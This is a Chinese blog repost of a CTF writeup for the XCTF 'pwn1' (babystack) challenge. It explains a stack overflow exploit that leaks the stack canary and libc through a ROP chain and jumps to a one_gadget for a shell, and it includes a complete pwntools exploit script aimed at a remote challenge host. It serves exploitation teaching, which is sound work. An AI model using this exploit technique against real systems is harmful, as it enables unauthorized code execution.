博客
关于我
攻防世界-pwn1-Writeup
阅读量:566 次
发布时间:2019-03-09

本文共 2235 字,大约阅读时间需要 7 分钟。

pwn1

考点:栈溢出,canary绕过

基本情况

程序实现功能是往栈上读写数据。

保护措施
Arch:     amd64-64-littleRELRO:    Full RELROStack:    Canary foundNX:       NX enabledPIE:      No PIE (0x400000)
栈溢出
......  while ( 1 )  {       menu();    v3 = my_input();    switch ( v3 )    {         case 2:        puts(&s);        break;      case 3:        return 0LL;      case 1:        read(0, &s, 0x100uLL);                  // 栈溢出        break;......

栈溢出空间还是比较大的。

思路

使用栈溢出覆盖 canary 最后一字节,读取出 canary ,成功绕过 canary 保护。

#leak canarypayload = 'a'*0x89add(payload)show()p.recvuntil('a'*0x89)#gdb.attach(p)canary = u64('\x00'+p.recv(7))log.success("canary:"+hex(canary))

题目没有预留后门,并提供 libc ,所以泄露 libc 调用 onegadget getshell 。泄露 libc 需要借助输出函数,即需要控制 rip 调用。

泄露 libc 还需要 rop 回到 main 执行下一步操作。

#leak libcpayload = 'a'*0x88 + p64(canary) + p64(0xdeadbeef)payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt)payload += p64(start_addr)add(payload)leave()puts_leak=u64(p.recv(6).ljust(8,'\x00'))log.success("puts_leak:"+hex(puts_leak))

最后再次控制 rip 。

#get shellpayload = 'a'*0x88 + p64(canary) + p64(0xdeadbeef)payload += p64(onegadget)add(payload)leave()

EXP

from pwn import *context.log_level = 'debug'#p = process("./babystack")p = remote("124.126.19.106",51939)elf = ELF("./babystack")libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")def add(context):    p.recvuntil(">> ")    p.sendline('1')    p.send(context)def show():    p.recvuntil(">> ")    p.sendline('2')def leave():    p.recvuntil(">> ")    p.sendline('3')#leak canarypayload = 'a'*0x89add(payload)show()p.recvuntil('a'*0x89)#gdb.attach(p)canary = u64('\x00'+p.recv(7))log.success("canary:"+hex(canary))#leak libcputs_plt = elf.plt['puts']puts_got = elf.got['puts']pop_rdi = 0x0000000000400a93start_addr = 0x400720payload = 'a'*0x88 + p64(canary) + p64(0xdeadbeef)payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt)payload += p64(start_addr)#gdb.attach(p)add(payload)leave()puts_leak=u64(p.recv(6).ljust(8,'\x00'))log.success("puts_leak:"+hex(puts_leak))libc_base = puts_leak - libc.symbols['puts']log.success("libc_base:"+hex(libc_base))onegadget = libc_base + 0x45216log.success("onegadget:"+hex(onegadget))#get shellpayload = 'a'*0x88 + p64(canary) + p64(0xdeadbeef)payload += p64(onegadget)add(payload)leave()p.interactive()

转载地址:http://smppz.baihongyu.com/

你可能感兴趣的文章
MySQL中的DECIMAL类型:MYSQL_TYPE_DECIMAL与MYSQL_TYPE_NEWDECIMAL详解
查看>>
MySQL中的GROUP_CONCAT()函数详解与实战应用
查看>>
MySQL中的IO问题分析与优化
查看>>
MySQL中的ON DUPLICATE KEY UPDATE详解与应用
查看>>
mysql中的rbs,SharePoint RBS:即使启用了RBS,内容数据库也在不断增长
查看>>
mysql中的undo log、redo log 、binlog大致概要
查看>>
Mysql中的using
查看>>
MySQL中的关键字深入比较:UNION vs UNION ALL
查看>>
mysql中的四大运算符种类汇总20多项,用了三天三夜来整理的,还不赶快收藏
查看>>
mysql中的字段如何选择合适的数据类型呢?
查看>>
MySQL中的字符集陷阱:为何避免使用UTF-8
查看>>
mysql中的数据导入与导出
查看>>
MySQL中的时间函数
查看>>
mysql中的约束
查看>>
MySQL中的表是什么?
查看>>
mysql中穿件函数时候delimiter的用法
查看>>
Mysql中索引的分类、增删改查与存储引擎对应关系
查看>>
Mysql中索引的最左前缀原则图文剖析(全)
查看>>
MySql中给视图添加注释怎么添加_默认不支持_可以这样取巧---MySql工作笔记002
查看>>
Mysql中获取所有表名以及表名带时间字符串使用BetweenAnd筛选区间范围
查看>>